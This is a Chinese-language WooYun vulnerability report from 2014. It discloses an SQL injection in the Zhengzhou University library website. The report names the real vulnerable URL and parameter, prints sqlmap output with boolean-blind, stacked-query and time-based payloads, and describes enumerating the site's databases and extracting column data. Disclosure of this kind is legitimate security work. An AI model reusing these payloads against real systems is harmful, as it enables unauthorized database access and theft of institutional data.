当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-087399
漏洞标题：
郑州大学图书馆网站存在SQL注入，数据库信息泄露
相关厂商：
郑州大学
漏洞作者：
xinghe
提交时间：
2014-12-16 18:15
修复时间：
2014-12-21 18:16
公开时间：
2014-12-21 18:16
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
15
漏洞状态：
已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-12-16： 细节已通知厂商并且等待厂商处理中
2014-12-21： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

郑州大学图书馆网站存在SQL注入，数据库信息泄露

详细说明：

注入点：
http://lib.zzu.edu.cn/say.aspx?sid=493b9edc-3388-4baf-a5c1-d42e6fdf7462
数据库为 Microsoft SQL Server 2008

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: sid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sid=493b9edc-3388-4baf-a5c1-d42e6fdf7462') AND 1731=1731 AND ('pVVg
'='pVVg
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: sid=493b9edc-3388-4baf-a5c1-d42e6fdf7462'); WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: sid=493b9edc-3388-4baf-a5c1-d42e6fdf7462') WAITFOR DELAY '0:0:5'--
---
[16:14:37] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008

漏洞证明：

1.png


数据库包括如下数据库：除了系统数据库之外，还有ZhengDa_WeiXin、zzulib、zzulib2三个数据库，随便找了数据库zzulib,用sqlmap跑了一下表信息，如下图所示,由于时间有点长所有手工中断了

2.png


然后从上述表中选择了“zzulib”数据库中的一个表“dbo.adpicture”来查看列信息，显示如图所示

4.png

5.png


然后选中表中的4个列，用sqlmap跑了一下，显示出了列中的数据，由于时间问题，没有继续往下进行，手工终止了

6.png


修复方案：

过滤

版权声明：转载请注明来源 xinghe@乌云

>

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-12-21 18:16

厂商回复：

最新状态：

暂无